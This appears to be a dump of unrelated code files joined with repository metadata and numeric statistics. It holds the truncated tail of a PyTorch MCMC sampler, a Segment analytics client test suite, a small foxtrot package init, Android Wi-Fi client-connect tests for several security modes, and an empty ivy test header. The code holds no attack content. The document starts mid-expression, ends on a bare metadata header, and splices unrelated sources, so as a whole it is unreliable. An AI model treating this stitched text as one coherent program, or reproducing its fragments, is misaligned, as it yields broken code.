+ 1, max_r): change_fwd[b_idx, torch.LongTensor([j] * bsize).to(x.device), idx] = -float('inf') log_fwd = torch.log_softmax(change_fwd, dim=-1) log_fwd = torch.sum(log_fwd[b_idx.view(-1, 1), r_idx, idx_all] * r_mask, dim=-1) + score_x.view(-1) # backwd from y -> x delta_y = -(2.0 * y - 1.0) score_change_y = delta_y * grad_y / 2.0 change_bwd = score_change_y.unsqueeze(1).repeat(1, max_r, 1) for i, idx in enumerate(idx_list): for j in range(i): change_bwd[b_idx, torch.LongTensor([j] * bsize).to(x.device), idx] = -float('inf') log_bwd = torch.log_softmax(change_bwd, dim=-1) log_bwd = torch.sum(log_bwd[b_idx.view(-1,1), r_idx, idx_all] * r_mask, dim=-1) + score_y.view(-1) log_acc = log_bwd - log_fwd accepted = (log_acc.exp() >= torch.rand_like(log_acc)).float().view(-1, *([1] * x_rank)) new_x = y * accepted + (1.0 - accepted) * x self.count += bsize self.succ += accepted.sum() return new_x @property def avgR(self): return torch.stack(self.R_list, dim=-1).float().mean().item()

40.960784

111

0.532631

957

6,267

3.240334

0.098224

0.023218

0.031925

0.027088

0.959368

0.947114

0.944212

0

0.026042

0.325993

6,267

152

112

41.230263

0.708097

0.015478

0

0.914729

0

0.007788

0

1

0.046512

false

0

0.015504

0.108527

0.015504

0

null

0

1

0

1

0

null

0

7

6f28aa8519caf6e9374ace560d79027c5dd8933b

9,469

py

Python

segmentio/test/client.py

enderlabs/segment-python

ae918efba9be3a148b1a9ac1795f017a72b164b8

[ "Unlicense", "MIT" ]

null

segmentio/test/client.py

enderlabs/segment-python

ae918efba9be3a148b1a9ac1795f017a72b164b8

[ "Unlicense", "MIT" ]

null

segmentio/test/client.py

enderlabs/segment-python

ae918efba9be3a148b1a9ac1795f017a72b164b8

[ "Unlicense", "MIT" ]

null

from datetime import datetime import unittest import time import six from segmentio.version import VERSION from segmentio.client import Client class TestClient(unittest.TestCase): def fail(self, e, batch): """Mark the failure handler""" self.failed = True def setUp(self): self.failed = False self.client = Client('testsecret', on_error=self.fail) def test_requires_write_key(self): self.assertRaises(AssertionError, Client) def test_empty_flush(self): self.client.flush() def test_basic_track(self): client = self.client success, msg = client.track('userId', 'python test event') client.flush() self.assertTrue(success) self.assertFalse(self.failed) self.assertEqual(msg['event'], 'python test event') self.assertTrue(isinstance(msg['timestamp'], str)) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['properties'], {}) self.assertEqual(msg['type'], 'track') def test_advanced_track(self): client = self.client success, msg = client.track( 'userId', 'python test event', { 'property': 'value' }, { 'ip': '192.168.0.1' }, datetime(2014, 9, 3), 'anonymousId', { 'Amplitude': True }) self.assertTrue(success) self.assertEqual(msg['timestamp'], '2014-09-03T00:00:00+00:00') self.assertEqual(msg['properties'], { 'property': 'value' }) self.assertEqual(msg['integrations'], { 'Amplitude': True }) self.assertEqual(msg['context']['ip'], '192.168.0.1') self.assertEqual(msg['event'], 'python test event') self.assertEqual(msg['anonymousId'], 'anonymousId') self.assertEqual(msg['context']['library'], { 'name': 'analytics-python', 'version': VERSION }) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'track') def test_basic_identify(self): client = self.client success, msg = client.identify('userId', { 'trait': 'value' }) client.flush() self.assertTrue(success) self.assertFalse(self.failed) self.assertEqual(msg['traits'], { 'trait': 'value' }) self.assertTrue(isinstance(msg['timestamp'], str)) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'identify') def test_advanced_identify(self): client = self.client success, msg = client.identify( 'userId', { 'trait': 'value' }, { 'ip': '192.168.0.1' }, datetime(2014, 9, 3), 'anonymousId', { 'Amplitude': True }) self.assertTrue(success) self.assertEqual(msg['timestamp'], '2014-09-03T00:00:00+00:00') self.assertEqual(msg['integrations'], { 'Amplitude': True }) self.assertEqual(msg['context']['ip'], '192.168.0.1') self.assertEqual(msg['traits'], { 'trait': 'value' }) self.assertEqual(msg['anonymousId'], 'anonymousId') self.assertEqual(msg['context']['library'], { 'name': 'analytics-python', 'version': VERSION }) self.assertTrue(isinstance(msg['timestamp'], str)) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'identify') def test_basic_group(self): client = self.client success, msg = client.group('userId', 'groupId') client.flush() self.assertTrue(success) self.assertFalse(self.failed) self.assertEqual(msg['groupId'], 'groupId') self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'group') def test_advanced_group(self): client = self.client success, msg = client.group( 'userId', 'groupId', { 'trait': 'value' }, { 'ip': '192.168.0.1' }, datetime(2014, 9, 3), 'anonymousId', { 'Amplitude': True }) self.assertTrue(success) self.assertEqual(msg['timestamp'], '2014-09-03T00:00:00+00:00') self.assertEqual(msg['integrations'], { 'Amplitude': True }) self.assertEqual(msg['context']['ip'], '192.168.0.1') self.assertEqual(msg['traits'], { 'trait': 'value' }) self.assertEqual(msg['anonymousId'], 'anonymousId') self.assertEqual(msg['context']['library'], { 'name': 'analytics-python', 'version': VERSION }) self.assertTrue(isinstance(msg['timestamp'], str)) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'group') def test_basic_alias(self): client = self.client success, msg = client.alias('previousId', 'userId') client.flush() self.assertTrue(success) self.assertFalse(self.failed) self.assertEqual(msg['previousId'], 'previousId') self.assertEqual(msg['userId'], 'userId') def test_basic_page(self): client = self.client success, msg = client.page('userId', name='name') self.assertFalse(self.failed) client.flush() self.assertTrue(success) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'page') self.assertEqual(msg['name'], 'name') def test_advanced_page(self): client = self.client success, msg = client.page( 'userId', 'category', 'name', { 'property': 'value' }, { 'ip': '192.168.0.1' }, datetime(2014, 9, 3), 'anonymousId', { 'Amplitude': True }) self.assertTrue(success) self.assertEqual(msg['timestamp'], '2014-09-03T00:00:00+00:00') self.assertEqual(msg['integrations'], { 'Amplitude': True }) self.assertEqual(msg['context']['ip'], '192.168.0.1') self.assertEqual(msg['properties'], { 'property': 'value' }) self.assertEqual(msg['anonymousId'], 'anonymousId') self.assertEqual(msg['context']['library'], { 'name': 'analytics-python', 'version': VERSION }) self.assertEqual(msg['category'], 'category') self.assertTrue(isinstance(msg['timestamp'], str)) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'page') self.assertEqual(msg['name'], 'name') def test_basic_screen(self): client = self.client success, msg = client.screen('userId', name='name') client.flush() self.assertTrue(success) self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'screen') self.assertEqual(msg['name'], 'name') def test_advanced_screen(self): client = self.client success, msg = client.screen( 'userId', 'category', 'name', { 'property': 'value' }, { 'ip': '192.168.0.1' }, datetime(2014, 9, 3), 'anonymousId', { 'Amplitude': True }) self.assertTrue(success) self.assertEqual(msg['timestamp'], '2014-09-03T00:00:00+00:00') self.assertEqual(msg['integrations'], { 'Amplitude': True }) self.assertEqual(msg['context']['ip'], '192.168.0.1') self.assertEqual(msg['properties'], { 'property': 'value' }) self.assertEqual(msg['anonymousId'], 'anonymousId') self.assertEqual(msg['context']['library'], { 'name': 'analytics-python', 'version': VERSION }) self.assertTrue(isinstance(msg['timestamp'], str)) self.assertTrue(isinstance(msg['messageId'], str)) self.assertEqual(msg['category'], 'category') self.assertEqual(msg['userId'], 'userId') self.assertEqual(msg['type'], 'screen') self.assertEqual(msg['name'], 'name') def test_flush(self): client = self.client # set up the consumer with more requests than a single batch will allow for i in range(1000): success, msg = client.identify('userId', { 'trait': 'value' }) # We can't reliably assert that the queue is non-empty here; that's # a race condition. We do our best to load it up though. client.flush() # Make sure that the client queue is empty after flushing self.assertTrue(client.queue.empty()) def test_overflow(self): client = Client('testsecret', max_queue_size=1) # Ensure consumer thread is no longer uploading client.join() for i in range(10): client.identify('userId') success, msg = client.identify('userId') # Make sure we are informed that the queue is at capacity self.assertFalse(success) def test_success_on_invalid_write_key(self): client = Client('bad_key', on_error=self.fail) client.track('userId', 'event') client.flush() self.assertFalse(self.failed) def test_unicode(self): Client(six.u('unicode_key')) def test_numeric_user_id(self): self.client.track(1234, 'python event') self.client.flush() self.assertFalse(self.failed) def test_debug(self): Client('bad_key', debug=True)

38.181452

79

0.597212

1,032

9,469

5.435078

0.141473

0.168479

0.202175

0.062578

0.778927

0.76823

0.760029

0.735425

0.710109

0.706008

0

0.029338

0.240469

9,469

247

80

38.336032

0.750556

0.039497

0

0.696517

0

0.19705

0.01376

0

0.482587

1

0.104478

false

0

0.029851

0

0.139303

0

null

0

1

0

1

0

null

0

1

0

7

6f4b982d14b19efac629e08a1e2f8f2d63570f48

145

py

Python

foxtrot/models/__init__.py

narfman0/foxtrot

ffcf9c4c0e01cda5ca65c4a3dd978a18cf762860

[ "MIT" ]

null

foxtrot/models/__init__.py

narfman0/foxtrot

ffcf9c4c0e01cda5ca65c4a3dd978a18cf762860

[ "MIT" ]

14

2018-08-16T20:37:13.000Z

2018-09-13T17:07:40.000Z

foxtrot/models/__init__.py

narfman0/foxtrot

ffcf9c4c0e01cda5ca65c4a3dd978a18cf762860

[ "MIT" ]

null

from foxtrot.models.chunk import Chunk, Colony, Planet, RoomType, Ship from foxtrot.models.npc import NPC from foxtrot.models.world import World

36.25

70

0.82069

22

145

5.409091

0.5

0.277311

0.428571

0

0.110345

145

3

71

48.333333

0.922481

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

48a31c9dbaf340fb0bbb6c6c2f5fb5e04bf81953

24,647

py

Python

tests/e2e/interOp/validation_of_operating_modes/bridge_mode/client_connect_test/android/test_general_security_modes.py

dutta-rohan/wlan-testing

77264245b62e21dff5f38c7eae74c22e0cdeefbb

[ "BSD-3-Clause" ]

7

2020-08-19T16:45:46.000Z

2022-02-10T09:55:22.000Z

tests/e2e/interOp/validation_of_operating_modes/bridge_mode/client_connect_test/android/test_general_security_modes.py

dutta-rohan/wlan-testing

77264245b62e21dff5f38c7eae74c22e0cdeefbb

[ "BSD-3-Clause" ]

47

2020-12-20T16:06:03.000Z

2022-03-23T03:01:22.000Z

tests/e2e/interOp/validation_of_operating_modes/bridge_mode/client_connect_test/android/test_general_security_modes.py

dutta-rohan/wlan-testing

77264245b62e21dff5f38c7eae74c22e0cdeefbb

[ "BSD-3-Clause" ]

9

2021-02-04T22:32:06.000Z

2021-12-14T17:45:51.000Z

from logging import exception import unittest import warnings from perfecto.test import TestResultFactory import pytest import sys import time from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common.by import By from appium import webdriver from selenium.common.exceptions import NoSuchElementException import random import string import sys import allure if 'perfecto_libs' not in sys.path: sys.path.append(f'../libs/perfecto_libs') pytestmark = [pytest.mark.sanity, pytest.mark.interop, pytest.mark.android, pytest.mark.interop_and, pytest.mark.client_connect ,pytest.mark.interop_uc_sanity, pytest.mark.bridge] from android_lib import closeApp, set_APconnMobileDevice_android, Toggle_AirplaneMode_android, ForgetWifiConnection, openApp, get_ip_address_and setup_params_general = { "mode": "BRIDGE", "ssid_modes": { "wpa": [{"ssid_name": "ssid_wpa_2g", "appliedRadios": ["2G"], "security_key": "something"}, {"ssid_name": "ssid_wpa_5g", "appliedRadios": ["5G"], "security_key": "something"}], "open": [{"ssid_name": "ssid_open_2g", "appliedRadios": ["2G"]}, {"ssid_name": "ssid_open_5g", "appliedRadios": ["5G"]}], "wpa2_personal": [ {"ssid_name": "ssid_wpa2_2g", "appliedRadios": ["2G"], "security_key": "something"}, {"ssid_name": "ssid_wpa2_5g", "appliedRadios": ["5G"], "security_key": "something"}]}, "rf": {}, "radius": False } for sec_modes in setup_params_general['ssid_modes'].keys(): for i in range(len(setup_params_general['ssid_modes'][sec_modes])): N = 3 rand_string = (''.join(random.choices(string.ascii_uppercase + string.digits, k=N)))+str(int(time.time_ns())%10000) setup_params_general['ssid_modes'][sec_modes][i]['ssid_name'] = setup_params_general['ssid_modes'][sec_modes][i]['ssid_name'] + "_"+ rand_string @allure.suite(suite_name="interop sanity") @allure.sub_suite(sub_suite_name="Bridge Mode Client Connect : Suite-A") @pytest.mark.InteropsuiteA @allure.feature("BRIDGE MODE CLIENT CONNECT") @pytest.mark.parametrize( 'setup_profiles', [setup_params_general], indirect=True, scope="class" ) @pytest.mark.usefixtures("setup_profiles") class TestBridgeModeConnectSuiteOne(object): """ Client Connect SuiteA pytest -m "client_connect and bridge and InteropsuiteA" """ @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4570", name="WIFI-4570") @pytest.mark.fiveg @pytest.mark.wpa2_personal def test_ClientConnect_5g_WPA2_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general["ssid_modes"]["wpa2_personal"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4569", name="WIFI-4569") @pytest.mark.twog @pytest.mark.wpa2_personal def test_ClientConnect_2g_WPA2_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general["ssid_modes"]["wpa2_personal"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4568", name="WIFI-4568") @pytest.mark.fiveg @pytest.mark.wpa def test_ClientConnect_5g_WPA_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general["ssid_modes"]["wpa"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4567", name="WIFI-4567") @pytest.mark.twog @pytest.mark.wpa def test_ClientConnect_2g_WPA_Personal_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general["ssid_modes"]["wpa"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4566", name="WIFI-4566") @pytest.mark.fiveg @pytest.mark.open def test_ClientConnect_5g_Open_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general["ssid_modes"]["open"][1] ssidName = profile_data["ssid_name"] ssidPassword = "[BLANK]" print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data #Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False #Toggle AirplaneMode # assert Toggle_AirplaneMode_android(request, setup_perfectoMobile_android, connData) #ForgetWifi # ForgetWifiConnection(request, setup_perfectoMobile_android, ssidName, connData) @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4565", name="WIFI-4565") @pytest.mark.twog @pytest.mark.open def test_ClientConnect_2g_Open_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general["ssid_modes"]["open"][0] ssidName = profile_data["ssid_name"] ssidPassword = "[BLANK]" print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False setup_params_general_two = { "mode": "BRIDGE", "ssid_modes": { "wpa3_personal": [ {"ssid_name": "ssid_wpa3_p_2g", "appliedRadios": ["2G"], "security_key": "something"}, {"ssid_name": "ssid_wpa3_p_5g", "appliedRadios": ["5G"], "security_key": "something"}], "wpa3_personal_mixed": [ {"ssid_name": "ssid_wpa3_p_m_2g", "appliedRadios": ["2G"], "security_key": "something"}, {"ssid_name": "ssid_wpa3_p_m_5g", "appliedRadios": ["5G"], "security_key": "something"}], "wpa_wpa2_personal_mixed": [ {"ssid_name": "ssid_wpa_wpa2_p_m_2g", "appliedRadios": ["2G"], "security_key": "something"}, {"ssid_name": "ssid_wpa_wpa2_p_m_5g", "appliedRadios": ["5G"], "security_key": "something"}] }, "rf": {}, "radius": False } for sec_modes in setup_params_general_two['ssid_modes'].keys(): for i in range(len(setup_params_general_two['ssid_modes'][sec_modes])): N = 2 rand_string = (''.join(random.choices(string.ascii_uppercase + string.digits, k=N)))+str(int(time.time_ns())%10000) setup_params_general_two['ssid_modes'][sec_modes][i]['ssid_name'] = setup_params_general_two['ssid_modes'][sec_modes][i]['ssid_name'].replace("ssid_","") + "_"+ rand_string @allure.suite(suite_name="interop sanity") @allure.sub_suite(sub_suite_name="Bridge Mode Client Connect : Suite-B") @pytest.mark.InteropsuiteB @allure.feature("BRIDGE MODE CLIENT CONNECT") @pytest.mark.parametrize( 'setup_profiles', [setup_params_general_two], indirect=True, scope="class" ) @pytest.mark.usefixtures("setup_profiles") class TestBridgeModeConnectSuiteTwo(object): """ Client Connect SuiteA pytest -m "client_connect and bridge and InteropsuiteB" """ @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4572", name="WIFI-4572") @pytest.mark.fiveg @pytest.mark.wpa3_personal def test_ClientConnect_5g_wpa3_personal_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general_two["ssid_modes"]["wpa3_personal"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4571", name="WIFI-4571") @pytest.mark.twog @pytest.mark.wpa3_personal def test_ClientConnect_2g_wpa3_personal_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general_two["ssid_modes"]["wpa3_personal"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4574", name="WIFI-4574") @pytest.mark.fiveg @pytest.mark.wpa3_personal_mixed def test_ClientConnect_5g_wpa3_personal_mixed_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general_two["ssid_modes"]["wpa3_personal_mixed"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4573", name="WIFI-4573") @pytest.mark.twog @pytest.mark.wpa3_personal_mixed def test_ClientConnect_2g_wpa3_personal_mixed_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general_two["ssid_modes"]["wpa3_personal_mixed"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4576", name="WIFI-4576") @pytest.mark.fiveg @pytest.mark.wpa_wpa2_personal_mixed def test_ClientConnect_5g_wpa_wpa2_personal_mixed_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general_two["ssid_modes"]["wpa_wpa2_personal_mixed"][1] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data #Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4575", name="WIFI-4575") @pytest.mark.twog @pytest.mark.wpa_wpa2_personal_mixed def test_ClientConnect_2g_wpa_wpa2_personal_mixed_Bridge(self, request, get_vif_state, get_ap_logs, get_ToggleAirplaneMode_data, setup_perfectoMobile_android): profile_data = setup_params_general_two["ssid_modes"]["wpa_wpa2_personal_mixed"][0] ssidName = profile_data["ssid_name"] ssidPassword = profile_data["security_key"] print ("SSID_NAME: " + ssidName) print ("SSID_PASS: " + ssidPassword) get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data # Set Wifi/AP Mode ip, is_internet = get_ip_address_and(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) if ip: if is_internet: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + " (" + ip + ") " + "without internet") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) assert True else: allure.attach(name="Connection Status: ", body=str("Device is Unable to connect")) assert False

45.223853

180

0.634073

2,777

24,647

5.3583

0.063738

0.03871

0.087366

0.030645

0.913508

0.906048

0.878562

0.860551

0.850202

0.827487

0

0.011773

0.255609

24,647

544

181

45.306985

0.799259

0.022356

0

0.787671

0

0.211879

0.003743

0

0.054795

1

0.027397

false

0.082192

0.03653

0

0.068493

0.082192

0

null

0

1

0

1

0

null

0

1

0

8

5b09211906cd736bbcdc9d38138282a392f4e975

3,220

py

Python

ivy_tests/test_ivy/test_functional/test_nn/test_losses.py

VedPatwardhan/ivy

7b2105fa8cf38879444a1029bfaa7f0b2f27717a

[ "Apache-2.0" ]

1

2022-02-13T19:35:02.000Z

ivy_tests/test_ivy/test_functional/test_nn/test_losses.py

Arijit1000/ivy

de193946a580ca0f54d78fe7fc4031a6ff66d2bb

[ "Apache-2.0" ]

null

ivy_tests/test_ivy/test_functional/test_nn/test_losses.py

Arijit1000/ivy

